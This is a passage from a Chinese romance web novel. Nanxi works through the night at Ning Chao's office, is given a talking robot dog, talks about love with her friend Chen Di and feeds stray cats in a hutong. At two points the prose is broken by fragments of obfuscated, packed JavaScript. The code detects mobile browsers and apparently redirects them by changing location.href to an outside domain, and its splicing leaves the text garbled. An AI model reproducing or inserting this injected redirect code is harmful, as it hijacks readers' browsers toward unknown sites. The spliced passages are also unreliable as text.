姜南西抱着宁朝劲瘦紧实的腰身,肘弯感觉到男人身上的温度,眨了眨眼睛。 宁朝没说要带她去哪,姜南西也没问。 不单单是因为对宁朝的信任,而是这么多天,她逐渐培养起一种随遇而安的心境,没有什么应该要做什么的概念,不去预想,眼下是什么就享受什么。 头盔下,姜南西为自己这一秒的洒脱,偷偷笑了一下。 摩托车停在恒通商务园的某栋办公楼下,宁朝带姜南西来他公司。 今天是周四,除了老板办公室里,公司漆黑一片。 宁朝把姜南西安排坐在自己平时坐的那张椅子上,他微微俯下身,左手扶在椅背,右手滑动桌面上的鼠标,眼睛看着电脑问姜南西:“要装什么软件?” 姜南西被他围在办公桌和身体之间,宁朝离她很近,她从包里拿硬盘的时候,胳膊不小心碰到他好几次。 软件都在硬盘里,宁朝按着教程安装。 姜南西飞速地扫视一圈外面:“真的不会有人来吗?”她怕给宁朝添麻烦。 宁朝垂眸掠过她慌张的小表情:“技术研发团队需要更高权限的门禁卡,普通员工进不来。” “那技术研发团队呢?” “出去团建了。”顺带开评优会。 姜南西轻轻哦了一声,若有所思。 “你不也是技术研发团队的吗?你怎么没去?”不到十秒钟,姜南西意识到问题。 屏幕蹦出弹窗,宁朝皱眉抿唇看过去,他认真专注时就是这副表情,点击鼠标处理完,他语气如常回答姜南西:“我没那么多时间。” 姜南西顿时负罪感飙升:“对不起啊,又耽误你时间了。” 宁朝侧眸淡声:“昙花三不要。” 姜南西自觉噤声,配合地做了个给嘴巴拉好拉链的动作,接着上锁取下钥匙,并将钥匙放进宁朝手里,然后仰起脸,睫毛忽闪忽闪看他。 昙花三不要,是什刹海的那晚,两人回去的路上,宁朝连哄带骗跟她达成的三条协议。 不要说对不起,不要心有愧疚,不要委屈但是不说。 软件安装完,宁朝站起身拿过桌上的另一台笔记本,走前胡乱揉了把姜南西的头发。 姜南西用办公桌上的台式机剪视频,宁朝坐在沙发上用笔记本工作。 就这么忙了一会儿,宁朝想起来晚上没吃饭,他问姜南西:“你吃什么?” 回答他的是一阵沉默,姜南西坐在台式机后唇角上扬,但是不说话。 想起钥匙还在自己手里呢,宁朝挑眉笑了下,拿起手机,打字给她发微信:“姜橙子,晚饭吃什么?” 一秒后,办公室里响起键盘声,声停,宁朝手机亮了下。 姜橙子:【不好意思。】 姜橙子:【嘴巴被上了锁,不方便吃。】 宁朝:【懂了,我叫个开锁工。】 姜橙子:【?】 宁朝定了顿海鲜外卖,大螃蟹爪八个。 姜南西说:“蟹老板真是多才多艺。” “还香呢。”宁朝往她碗里放剥好的蟹肉。 吃完饭,各自继续投入手头的事。 整个办公室里安安静静,两人各忙各的,只有鼠标的轻击和笔记本的散热声。 中途宁朝看电脑看到眼酸发胀,仰靠在沙发上闭目养神。 姜南西瞥见了,她的视线从台式机边缘越过去,定定落在宁朝疲惫的侧脸,和他紧闭的双眼上。 心中升起一丝说不清的感觉,宁朝一直在她面前表现得精力充沛,原来这样的人,也会累。 忙碌到深夜十一点,园区里静谧无声,宁朝的工作即将进入尾声,姜南西的视频进度条还在像蜗牛一样艰难地往前爬。 宁朝过来问她进度,姜南西捏了捏酸疼的脖子:“刚一半儿。”她直觉是场硬仗,可能要通宵。 后期是个精细活儿,这点宁朝知道,尤其是好朋友的婚礼视频,姜南西更加精益求精,脑力体力都消耗巨大。 宁朝问她:“给你点个夜宵?” “不用了。”姜南西全神贯注看向屏幕,手指不断点击鼠标,她问宁朝:“你这儿有咖啡吗?” 宁朝会意:“冰的热的?” 姜南西说:“冰的。” 茶水间,灯光照亮一小块区域。 宁朝启动咖啡机,机器开始运作,等待的一分钟里,他凝神一瞬,身体后撤半步,目光从昏暗中看向办公室里的身影。 从这一隅视角望去,只能看到姜南西被台式机半遮半掩的侧脸,她脸上迎着屏幕幽微的光芒,黑白分明的眼底闪着一点亮,大概是选到了最合适的素材或是音乐,姜南西的眼尾眯起满足的弧度,在这冷清沉闷的深夜,晕开一抹温暖和明亮。 加班对宁朝而言是家常便饭,常常昏天暗地黑夜颠倒。 有两个月全公司集体加班,宁朝一出办公室,觉得这公司怨气重得鬼见了都得绕着走,大手一挥放了半天假,送走一批形神俱槁的同事。 大概是那半天假让上天觉得他还有点良心,让他接到撤资电话,让他堵了三个小时,让他叫的外卖送不过来,让他饿了一整晚肚子,然后觉得他这一天差不多够黑暗了,也大手一挥......送来一颗星星。 这颗漂亮的星星骑着电动车缓缓停到路边,等红绿灯,拿手机给好友发语音:“做AI的都应该去死!这么点小事做不好的更应该去死!” 宁朝坐车里,惊得手里夹着的半根烟都忘了抽。 相遇的那一刻,怎么说呢,一颗耀眼的星星照亮了一片荒芜的小宇宙。 宁朝小心翼翼地观察这颗星星,靠近,守护。 但不占有。 星星应该挂在天上哈哈大笑,一闪一闪放光明。 “嗡——”咖啡机低沉的轰鸣戛然而止,仿佛时光按下暂停键,宁朝嘴角漾起无声笑意。 可是没关系,他的星星会为他停留一分钟。 他拥有了这一分钟。 宁朝将咖啡端给姜南西,姜南西捧起来喝了一口,五官猛地皱到一起:“怎么这么酸?” “意式。”宁朝回忆了下刚放的咖啡胶囊,“不喜欢?” 姜南西放下杯子,甩了甩脑袋表达态度:“接受不了。” 宁朝点点头,端起杯子将剩下的咖啡一饮而尽,又出去重新给她冲了杯别的。 能怎么办,这点小事做不好是要去死的。 不到十分钟的微电影,从特效音效,姜南西精雕细刻不放过任何一个细节,直到凌晨两点才全部完工,她又等渲染完毕导出成片,盯着视频从头到尾仔细检查一番,确定没有问题后才如释重负地靠到座椅里。 抬头看去,办公室里空荡荡,宁朝不知道去了哪里。 他的工作早就结束,后来坐在沙发里默默陪了她一整晚。 但姜南西现在分不出精力去想,她太累了,整个人浑浑噩噩像灵魂出窍。 眼光在屋子里打量一番,姜南西选中沙发,随手拿起一个抱枕垫在脑下倒头就睡。 人累到极致时,反而会睡眠质量不好,时浮时沉,容易分不清梦境和现实。 恍惚间,姜南西感觉好像有人往她身上披了件衣服,随后,她听见矿泉水瓶被拧开的声响,那人喝完后将瓶子扔进垃圾桶。 这串声音勾起某个相似的场景,不是她刻意记住的画面,只是在脑海里的匆匆一现,可是越看不清,她越想记起来,这种无意识的回忆刺激着她的大脑神经。 意识深处什么东西推她一把,姜南西迷迷糊糊醒过来,再睁眼时办公室里光线孱弱,一片灰蒙蒙中,她不知怎么就觉得这个夜晚似曾相识。 她转过头,宁朝坐在另一侧的单人沙发,周身隐没在阴影当中,仿佛和黑暗融为一体。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847631|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁朝见她睁眼,轻声问:“醒了?” 姜南西直直望着他,望了很长时间,宁朝以为她睡懵了,便没再说话,只是起身将盖在她身上的外套往起拉了拉。 昏昧光线随着他的动作晃动浮游,姜南西突然问:“我是不是见过你?” 宁朝的手停在半空,看她两秒,抚了抚她的额头:“没有,你做了个梦。” 睡了差不多两个小时,姜南西真正醒了过来。 被沙发边什么东西一直撞她的腿撞醒的。 她睁开惺忪的睡眼,坐起来,人还没醒透,低头找地上到底什么东西撞她。 是一只眼睛大大圆圆的机械小狗,通体深灰色,四肢短小而粗壮,末端有黑色的细节装饰,应该是它的爪子。 小狗亲呢地蹭着她的脚尖,小巧的圆润的鼻子一耸一耸,似乎在嗅她身上的味道。 嗅够了,它昂起脑袋,眼睛上的LED屏变换出两道灵动的弧线,在对着姜南西笑。 机械小狗的声音意外的仿真又俏皮:“早上好呀,该起来吃早饭了。” “你还知道现在是早上?”姜南西瞬间睡意全无,她想起这是宁朝头像上的那条小狗,没想到实物这么可爱。 她将小狗抱起来,问它:“那有什么推荐的早餐吗?” 小狗的耳朵欢快地扑棱两下:“我推荐——蒸羊羔、蒸熊掌、蒸鹿尾儿、烧花鸭、烧雏鸡、烧子鹅、卤猪、卤鸭、酱鸡、腊肉、松花、小肚儿、晾肉、香肠儿、什锦苏盘儿......” 不愧是北京人造出来的产品。 就在姜南西以为它会一直这么滔滔不绝的时候,小狗自己停了下来:“说太多你也吃不完,那就吃福香斋吧。” “?” 办公室门被推开,宁朝一进屋,一人一狗正大眼瞪小眼。 姜南西立马转头跟他说:“它竟然知道福香斋!” 触发关键词,小狗接话:“我想每天都能吃到福香斋的早饭。” 姜南西点点它的鼻子:“你又没吃过。” 小狗眼睛里蹦出两条横线,似乎在思考,继而又重复一遍:“我想每天都能吃到福香斋的早饭。” 小家伙太讨人欢心了,姜南西抱在怀里爱不释手。 这一幕正合宁朝心意,他知道她会喜欢:“抱回家吧。” “真的吗?”姜南西惊喜地眼睛睁圆,小狗感应到了什么,眼睛也变得圆溜溜,一人一狗别提有多喜感,把宁朝给看笑了。 “真的。”宁朝就在那笑里说,“你不是想养小狗但不敢吗,这个可以一直养。”他细心地避开了“死”这个残忍的字眼。 姜南西将小狗搂得更紧,笑眼弯成月牙:“谢谢你哦宁总。” 小狗也说:“谢谢你哦宁总。” 宁朝拍下它脑袋:“我是你爹。” 小狗接收对话,识别音色,利落改口:“谢谢你爹。” 姜南西被这傻样儿逗乐。 她问宁朝:“它有名字吗?” 宁朝说:“你问它。” 姜南西就问小狗:“你有名字吗?” 小狗说:“我叫尼奥。” “不行,跟了我就得用我取的名字。”姜南西抬眼思忖两秒,慢悠悠地教它新名字:“以后你叫Nancy。” 尼奥反抗:“我叫尼奥。” 姜南西耐心:“Nancy。” “尼奥。” “Nancy。” “尼奥!” “Nancy!” “尼奥!” “Nan——cy!” “尿!” “......” 抬头看见办公桌后的男人正闷声笑,姜南西冷冷问:“它根本就不能改名字对不对?” 宁朝敛起笑容,清了清嗓子:“忘了植入这个程序。” “算了。”姜南西捧起小狗,满心欢喜道:“你好呀,尼奥。” 尼奥笑得眼睛圆圆:“你好呀,姜橙子。” 时钟指到五点,姜南西彻底清醒,两人收拾了东西走出公司。 无意撞见一场日出。 站在空旷清新的路上,姜南西说:“看过了星星和日落,再看场日出吧。” 宁朝朗声答应:“好啊。” 橙红色光晕跳出地平线,如燎原之火迅速蔓延,点燃整片城市上空,绚烂色彩铺就一幅巨大而瑰丽的天幕,映出建筑横平竖直的轮廓。 太阳缓缓上升,光芒越来越强烈,唤醒万物生灵,北京城迎来崭新的一天。 姜南西和宁朝并肩站在园区的柏油路,不说话,静静地看。 一个人可以给一个人最珍贵的礼物,就是时间。 他们陪伴彼此,一起看过星空,一起看过日落,又意外地一起看到了日出。 在北京这座城市的坐标系上,他们共同拥有了很多时间。 太阳升上蓝天,霞光万道。 接受完朝阳的洗礼,姜南西深吸一口早晨的新鲜空气,而后说:“去吃个早饭吧,我请客。” 宁朝不假思索:“福香斋吧。” “行!”姜南西爽快地笑,“但你不能吃粥啊。”会中毒。 宁朝眉梢一扬,不置可否。 两秒后,尼奥又说话:“我想每天都能吃到福香斋的早饭!” 32. 让爱降落 和陈笛相约见面的那天,一早起来,尼奥就围在姜南西身边不停转悠。 小家伙嘴巴又碎又贫,无论姜南西干什么做什么都要插句嘴。 姜南西做家务拖地时,它在地上转了几圈说:“这地儿干净得苍蝇来都得打滑。” 收拾杂物间,不小心碰倒墙边的三脚架,“轰”地砸到地面,尼奥被吓得弹开半米远:“这里不许放炮!” 怕万一真砸到它,姜南西将它挪回房间角落,结果快递上门取件,她拿着要寄的东西走出房间时,尼奥又“嗖”地冲出来:“需要我帮你吗?” 然后速度太快一个没刹住栽倒在小哥脚边,四仰八叉地嘴里嚷嚷:“盖了帽了!救救我!” 姜南西气笑了,给正在出差的原厂家发消息:【您好,请问这边可以七天无理由退货吗?】 原厂家一个小时候才回,态度专业且友好:【亲爱的客户,很抱歉听到这个消息,您的心情我非常能够理解。您的这款机器小狗属于升级定制款,使用了业内最前沿的技术成果,由于技术特性,磨合时需要您更多的耐心和包容,祝您生活愉快,后续有问题我会全程为您服务。】 姜橙子:【转人工。】 宁朝:【不可以。】 又过了没两分钟,宁朝:【爱护动物,人人有责。】 姜南西收起手机看眼地上的尼奥,一进一退在跟太阳躲迷藏。 行吧,这德行随它爹。 出门时,姜南西在玄关边换鞋,尼奥捣腾着小短腿过来,耳朵一上一下动来动去问她:“你要出门了吗?” 姜南西说:“是的。” 尼奥说:“你出门干什么呢?” 姜南西说:“见我的好朋友。” 尼奥再说话时,电流滋啦滋啦:“那你要......玩得......开心哦。” 姜南西停下来看它,尼奥的眼睛已经不似初见时那么明亮,她问:“你是不是该吃饭了?” “吃什么?” “吃饭。” 姜南西端起尼奥把它放进充电桩,尼奥兴奋地转了一圈:“我想每天都能吃到福香斋的早饭!” · 工作原因,陈笛下午会去雍和宫附近办公,姜南西这个闲人过去找她。 她中午就出了门,先去五道营胡同吃饭。 B站粉丝推荐的餐厅。 重新登回B站的时候,姜南西认真浏览了一遍后台私信。 这一番下来才惊觉,原来在她不知道的时候,私信里并不是只有那些充实恶意和中伤诋毁的话语,更多的,其实是粉丝朋友们给她分享的生活瞬间。 各种温暖的,有趣的,美好的日常碎片。 给她看路边打盹的猫咪,新鲜出炉热气腾腾的面包,亲手种下的薄荷长出了新叶,七月的天空,风里摇摇晃晃的树叶,一颗长得很标准的草莓...... 还有人分享在大理海舌公园里哇哇大哭的小孩儿:“苍山边,洱海畔,小娃挨揍泪漫漫。” 在看这些私信时,姜南西仿佛走遍天南地北的人间烟火,内心既感动又幸福。 感动于大家对她的支持和鼓励,幸福于每个带来细微雀跃的瞬间。 幸福的本质不是惊天动地的狂喜,而是藏在被认真对待的生活细节里,正如那句话所说,日子就是这么的庸常,却有细碎的事物,如太阳碎碎的光芒,洒落其上。 姜南西庆幸自己又重新找回了感知幸福的能力。 餐厅叫藏红花,靠近五道营西入口,是一家开了十八年的西班牙餐厅,装潢格调复古,环境充满浓厚的欧洲风情,又有几分北京胡同的慵懒调性,露天小院里,粗壮的大枣树郁郁葱葱。 根据粉丝的推荐,姜南西点了招牌西班牙海鲜饭,和一份橄榄油煎蘑菇。 她询问外籍服务生有没有padronpepper,一种西班牙炸青椒,高大帅气的服务生抱以绅士而礼貌的歉意,用英文告诉她这个店里暂时没有。 没有姜南西也没办法,她心态不错,同样用英文跟服务生开玩笑:“那可能只有我去了西班牙才能吃到这道菜吧。” 服务生的笑容很有感染力:“WeetoBarcelona!” 吃完饭,姜南西背着相机走出来,门口两棵海棠树枝繁叶茂。 据说这是五道营胡同里唯二的两棵海棠树,春夏秋冬,花开花落,错过了四月份的一树千花,姜南西觉得满树青绿也别有一番风景,举起相机,录下从树叶缝隙里透下来的阳光。 时间还早,姜南西在周边国子监转了一圈,又去了雍和宫。 宫殿内红墙金瓦,殿宇巍峨宏伟庄严,处处可见中式美学,宫前檀香缭绕,来往香客身影如织,庭院里古木参天,历史和信仰相交之下,四处弥漫着神秘而祥和的气息。 据说这里许愿很灵,但也可能会被调剂,有种不顾死活的灵。 何星屿曾许愿想要高升,如愿地工位从二楼搬到十三楼。 姜南西本打算只过来看看没想许愿,却在雍和门殿前驻足时,不小心听见身边小孩儿的愿望。 小孩儿牢牢闭着眼睛,稚嫩的小脸上满是虔诚:“佛祖啊,祝你好运。” 旁边其他人也听见这童趣的话语,人群中响起一阵窸窸窣窣的笑声,有正在许愿的怕触犯禁忌,死死咬住嘴唇不敢笑出来。 小孩儿被家长带着离开,欢声笑语很快淹没在来往人声,姜南西想了想,也站过去。 她低头双手合十,默默许下一个心愿:“希望所有人得偿所愿。” · 下午五点半,陈笛结束工作,约姜南西到小魔王,隐藏在胡同里的一家酒吧。 姜南西进去时,坐在里桌的陈笛朝她招了招手,等她坐下时说:“我已经给你点好了。” “大下午的就喝酒啊?”姜南西摘下挂脖子上的相机。 环境优雅,陈笛憋住了没飙脏话:“你都不知道那些人要求有多奇葩,我不喝点酒难解心头之恨!” 话间,陈笛看了一眼桌上的相机,她记得两人从认识开始姜南西就一直在用这台,好像是用她大学获的什么奖的奖金买的,一直没舍得换。 上班哪有不疯的,姜南西十分理解陈笛此刻的怒火,帮着她一起吐槽了几句。 然后她拿出U盘给陈笛:“把你电脑拿出来,验收下成片,不行我再改。” “姐妹的手艺我是再放心不过的。”陈笛一副“咱俩谁跟谁”的表情,“等我明儿就拿这个去找那工作室退钱。” “老梁呢?” “他更忙!你不知道,结婚可麻烦了。” 服务生端来两杯鸡尾酒,陈笛让他把那杯奶白色的酒给姜南西。 “给你要了个度数低的。”她边说边喝了口自己这杯,神色几分享受。 姜南西问:“这杯叫什么?” 从菜单来看,这是一家以音乐剧命名酒的酒吧,每款酒都有它独特的名字。 陈笛卖了个关子:“你先喝。” 入口最直观的味道是牛奶和玫瑰花香,醇厚又馥郁,温柔软绵的口感晕染开来,柠檬的酸爽挑起酒精的利落,毫无预兆地在舌尖绽开。 如果让姜南西来形容,就像是平静的黄昏里,天空倏然划过一颗璀璨的流星。 她喜欢这杯酒,眼睛惬意地眯成一条缝,听着店内婉转悠扬的音乐,捧起酒杯又喝了两口。 姐妹相聚,自然少不了感情话题。 陈笛托起下巴,好事又关切地探过身体:“橙子,你和那个Prada怎么样了?” 姜南西直面她不单纯的目光,脸色坦白:“挺好的。” 挺好的? 陈笛顿时精神大作:“那你们是在一起了?” 姜南西平淡说:“没有。” “为什么?!”陈笛声调上扬,随即记起这是在公众场合,急忙捂起嘴巴看了一眼四周,好在酒吧才刚开门,店里没什么人,只有吧台后的酒保听见她的声音淡笑了下。 放下手,陈笛不理解地说:“我以为你们和好之后,关系能进一步呢。” 姜南西坐在椅子上,微微仰起脸,视线落在窗外胡同的上空,薄云随风飘荡,被交错的电线隔空割成不规则的形状。 她脸上表情没什么变化:“是进了一步。” 但不是通俗意义上的在一起,不是肤浅意义上的男欢女爱,这种进一步,是两个灵魂的彼此靠近,有相同的价值观和眼见,找到相同的沟通频率。 是被看见,被理解,被支持。 可是。 姜南西说:“我怕伤害他。” “为什么?”陈笛关心问。 “宁朝是个很好的人,我可以从他身上,感受到别人不能给予我的安宁,可是......”姜南西目光落在深色木桌,沉静而平和,“和郭秉分手之后的有段时间,我想了想,虽然分手的主要原因是他做了过分的事说了过分的话,但我当时其实有点迷失自我,过度把重心都放在他身上,导致有些行为很幼稚,对待感情的态度很不成熟。” 这不是后悔,这是人在成长过程中都会经历的自我反省。 正视内在思想和驱因,打破、割裂、推翻曾经以为坚不可摧的认知,不破不立,破而后立,大破大立,在不断的破碎和重组中,最终走向真正的自我。 “我担心如果跟宁朝在一起,我会因为感情再次变得幼稚,不成熟,我知道,他会包容我,但他也会累。”姜南西想起那晚宁朝疲惫靠在沙发上的模样,心绪涌起苦涩。 有时候,感情是很可怕的东西,它会让人变得不像自己,直到失去自己。 末了,姜南西扯出一抹自嘲的笑:“我不能因为以前在爱情里吃过苦,就对不起后来的人。” 所以她想让自己变得再好一点,更好一点。 而陈笛却说:“你没有对不起后来的人,你只对不起你自己。” 姜南西茫然抬起头,呆呆地看向她。 陈笛眼里含着笑意,但语气十分郑重:“从那天在三里屯分开我就一直想一个问题,你为什么不愿意开始一段新的感情。听你刚刚说完,我一下子就想清楚了,因为那段感情导致的ptsd,但是橙子,正常人都会这样,不管是友情爱情还是亲情,如果是不健康的关系,都需要用时间去消化的,我们是人,又不是毒液啥都能吞。” 最后一句让姜南西笑了声。 “而且你的存在本身就值得被爱,不是要事事完美才能被爱的,就算你觉得自己有不对的地方,那也是几年前的事情了,你没有义务为几年前甚至是十分钟之前的自己道歉,不要拿过去做错的决定来惩罚自己,更不要为将来的难测就推开走向你的人,否则你不仅会因此错过一段好的感情,将来有可能会失去更多。” 反省但不反刍,及时翻篇,永远不要为打翻的牛奶而哭泣。 命运会反反复复给人相同的课题,直到作出不同的回应,事业生活如此,恋爱也是。 “你天生拥有改变和成长的权利,所以大胆一点——” 陈笛伸出手,示意姜南西那杯还剩一半的酒,为她揭晓酒的名字:“让爱降落。” 话落,气氛陷入短暂的沉默。 姜南西静静望着对面的陈笛,眼底沉重蓦然裂开一隙光亮。 几年前她拯救了陈笛,今天的陈笛反过来拯救了她。 生命中的每场相遇都是独一无二,他们会留下自己的一些印记,也会带走自身的一些气息,两个灵魂不会偶然相遇。 “怎么了女人?”面对姜南西炙热的目光,陈笛耍宝似地一挺胸膛,嬉笑着问她:“是不是被我的魅力折服了?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847632|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 姜南西单手托腮看向她,眼里渗出爱意:“是。” “那好可惜喔,我马上要结婚了。”陈笛顺势拿出早已准备好的结婚请柬,她夸张的双手捧脸,“就辛苦你盛装出席只为错过我咯。” 姜南西拿着请柬,无奈笑着摇了摇头。 从小魔王酒吧里出来,陈笛坐地铁回家,姜南西沿着这条胡同继续往前。 傍晚时分,胡同浸染在静谧的夕阳里。 昏黄的小吊灯下,自行车靠墙而停,一位鬓发花白的老爷爷站在梯子边用碗分装猫粮,姜南西下意识抬头望,屋檐上,几只颜色不同的小猫探出圆滚滚的脑袋。 猝然和姜南西对视,小猫们也不畏怯,反而头碰头开始打量起她来。 不认生,这是胡同里的流浪猫。 爬高对老人太危险,姜南西主动提出帮他喂猫。 和老爷爷交谈时得知,他每天都会来喂这些流浪猫,已经喂了八年了。 姜南西爬上梯子上时说:“您就是他们心软的神。” “生命是脆弱的呀。”老爷爷给她递猫粮,“要珍惜。” 听到这话,姜南西心里触动一下,世界破破烂烂,总有人在缝缝补补。 姜南西手里端着猫粮爬上去,几只小猫摇摆着身体,“呼啦”一下凑过来,脑袋在姜南西的手上蹭来蹭去,蹭够了,才埋头享用今天的晚餐,好像在用这种方式表达感谢。 机会难得,姜南西将它们挨个摸了一遍,毛茸茸的手感超级治愈,将心中的疲倦和烦恼一扫而尽。 姜南西看着它们,想起那只还没果盒大的小猫,不知道它现在怎么样了。 老爷爷看她和猫玩得其乐融融,站底下问:“姑娘,你也养猫啊?” 姜南西站在梯子上,欠身接过他递过来的第二碗猫粮,接着站起来倒进屋檐上的碗里:“我养的狗。” “狗也好。”老爷爷说。 姜南西笑出来:“好是好,就是碎嘴子,闹得很。” 老爷爷乐呵呵道:“闹是喜欢你,想跟你说说话。” 姜南西爱怜地看向这群机灵又可爱的小猫们,唇边笑意愈发浓郁,没解释,静静沉浸在这温馨而美好的氛围里。 “干什么呢姜橙子?” 闻声,姜南西回过头。 不远处,宁朝身姿挺拔,站在阳光正好的地方,对着她笑。 奇怪。 看见这人,好像闻见玫瑰牛奶里坠入一片柠檬的香气。 姜南西眼睛霎时惊喜:“暧你回来啦?” 宁朝走过来,礼貌地对老爷爷颔首:“您好。”而后他抬头看站在梯子上的姜南西:“喂小猫呢?” 姜南西认真点一下头:“喂猫很开心。” “那你再开心会儿。”宁朝稳稳扶着梯子道。 姜南西边喂边问:“你怎么这么快就回来了?” 宁朝说:“签个合同要不了多少时间。”他的时间要留着做更重要的事。 “那你又怎么到这来了呢?” “去找了下李博。” 这人宁朝跟姜南西提过,是他发小,也住这附近。 接着宁朝反问姜南西:“你怎么在这儿?” 姜南西说:“我刚跟陈笛约会。” 喂完猫,两人跟老爷爷和小猫告别,老爷爷骑着自行车远去,身影消失在繁忙的胡同尽头。 一场神奇的相遇。 他们往胡同另外的方向走,一个没有方向,一个找到方向。 宁朝隐隐闻见姜南西身上的酒气:“喝酒了?” 姜南西直接道:“跟陈笛一起喝了点儿。” “小魔王酒吧。” “你怎么知道的?”姜南西惊呼。 “附近只有它家这个点开门。”其他这个点灯红酒绿的都在后海一条街。 姜南西哦了声:“你常去酒吧?” 宁朝说:“有时候跟几个发小去。” 姜南西收声不讲话,低头看路,一步一步往前迈。 默然几秒,又听宁朝简短两个字:“男的。” 姜南西努努嘴唇,小声嘀咕:“我又没问。” 宁朝瞥眼她的侧脸,在余晖下柔软恬静,特别好看,他接着问:“你们喝了什么?” 两人聊天从来不刻意主题,思想可以聊,未来可以聊,社会新闻也可以聊,而姜南西,更喜欢一起聊日常,聊他们今天都干了什么。 都是琐碎,听上去好像没有意义,云是什么形状,面不小心煮咸了,长相奇怪的树,公司新采购的咖啡很好喝,阅川和杨韫又掐起来了...... 宁朝也一样。 他最期待忙碌过后,看见手机上有姜南西发给他的消息。 零零碎碎的分享,是希望对方参与自己的生活和心情。 姜南西说:“开心酸。”这是第二杯,她不想说第一杯的名字。 宁朝问:“味道怎么样?” 姜南西皱着眉忍不住笑道:“......太酸了。” “酸啊......那我带你去吃点儿甜的。”胡同尽头,宁朝拉起姜南西的手腕,带着她转身向左。 姜南西眼睛亮亮,像只好奇小猫:“吃什么?” 晚风掀起宁朝的头发,他扬声道:“南锣鼓巷,吉事果。” 什刹海小孩儿的童年,小油条外酥里嫩,最上层铺着香甜的奶油冰淇淋,再淋上丝滑的巧克力榛子酱,一口下去幸福感拉满。 姜南西说:“听着就吉利。” “吃不吃?”这么说,但宁朝牵着她的手毫不松懈。 迎着夕阳,姜南西笑意明快:“吃!” “走。” “走!” 这是黄昏下的北京,和煦喧嚷,他们脚步轻快,不想离别,只认真地过好此时此刻。 33. 甘草凉茶 日子如流水般一天一天平淡过去。 距离离开北京还剩十天的时候,几个之前的同事不知从哪得知姜南西要离京,一块约她出来吃个饭。 因为这顿饭,姜南西第一次来王府井大街。 其实称不上是多么要好的同事,交流也仅限于上班时间,算不上是朋友,但人有时候就是这样,因为自己曾经感受过在陌生城市打拼的艰难,所以会对同样身处异乡艰辛奔波的人,流露出一丝微薄的善意。 来之前,姜南西以为这顿饭会很尴尬。 到了之后才发现,场面没有想象中的那么拘谨,随便抛出个话题,众人便你一言我一语地聊开了,完全不会冷场,有人拿工作中的小摩擦当乐子讲,两个当事人举杯相碰,一笑泯恩仇。 他们默契地绝口不提姜南西辞职的原因,可明里暗里把老板和那位关系户损得体无完肤。 饭桌上,姜南西看着这些欢声笑语的前同事们,嘴角挂着淡淡笑意。 她回想共事的这几年,大家偶尔会因为谁拿好绩效谁背C闹出矛盾,但转头中午又能一起去吃那家新开的小吃店,有时候看似关系不错,而如果真的认真聊天,又未必能聊到一起。 可这一切,并不妨碍姜南西记得他们曾经的闪光之处,大家为加急的项目共同熬过漫漫长夜,一起在深山老林里喂蚊子,一起在大学里扛过机器,还有听说她低血糖时桌上放着的那些巧克力和水果。 即使有过利益相争,但是拉开距离,找到合适的取景框,每个人都有他独特的闪光点。 气氛正热烈的时候,坐姜南西身边最近的姑娘,知道她要离开北京,突然凑过来对她说:“南西,你真的是个特别勇敢的人。” 一句话让姜南西感慨万千,她眼含感动回望那个姑娘:“谢谢。” 分开时,有开车的人问姜南西要不要顺路送她一程,姜南西先道谢再拒绝:“不用了,我去什刹海。” 那人说:“行,那有缘再见啊。” 风扬起姜南西的长发,她笑着告别:“再见。” 纵然说了再见,但彼此都知道,在这平凡的一天,这或许就是他们见过的最后一面。 今天去什刹海,是因为樊老师想在走前再见见姜南西。 还是上次那个学生,他遇到的问题很棘手,迟迟得不到解决,樊老师决定以近八十岁高龄重新出山。 她要去大西北。 姜南西绕道去了趟地安门,那边把口儿的一家糖葫芦,味道一绝。 大夏天,柏油路被烤得滚烫,酷热丝毫没有劝退闻名排队的人群。 姜南西站在队伍中,饶有兴致地观察周围排队的人,有戴着旅游团帽子的老人,有教育孩子要好好写作业的家长,有手牵手不停打闹的情侣,每个人脸上的表情都很生动鲜活。 姜南西买了几串,接过来时老板跟她说:“好吃再来啊!” 她笑呵呵道:“好嘞一定!” 回去坐地铁,地铁上没有一个空位。 好在只有几站路,姜南西拎着糖葫芦站在扶手边。 对面座位上,几个学生正在热火朝天地讨论着什么,时不时从嘴里蹦出几个专业词汇。车厢晃动,将这些词汇晃进姜南西的耳朵里,引力波辐射模型,极端天体环境,超新星爆发能量阈值,暗物质...... 姜南西不动声色扫眼他们拎着的帆布包,上面赫然几个大字——清华大学。 顿时,她心中升起一股敬佩。 随即她又轻轻笑了一下。 以前身处这种环境,姜南西总会不自觉地陷入焦虑,因为目光总放在别人身上,觉得其他人站在自己所不能企及的高度,觉得自己没有跟上时代的脚步,平庸且落后。 现在她不会了。 现在,她的身上多了一股平和的力量。 每个人的脚下,都铺展着一条属于自己道的路,轨迹千差万别,各不相同或快或慢,但这就是人类最古老的玩笑了,往哪走,都是往前走。 然后在普通的一天,不同的轨迹意外相交。 他们聊起专业个个侃侃而谈,她手里拿着买给大哥和樊老师的糖葫芦,心里满是安然。 十年后,这些学生会成为天体方向的专家,十天后,她将成为一名纪录片导演。 姜南西想,她和他们都很棒。 下地铁前,宁朝给她发消息:【C口下,我在火神庙这儿等你。】 姜橙子:【好。】 姜南西万万没想到,从C口出来后,会在万宁桥边遇上郭秉。 瞧见她的瞬间,郭秉眼中满是惊愕,他手里拎着大包小包的东西,显得有些吃力。 郭秉略有生硬地跟她打了个招呼:“小西,好巧啊。” 姜南西却很从容,她笑了下:“好久不见。” 看眼他拎着的东西,姜南西主动询问:“又是给家里买的?” 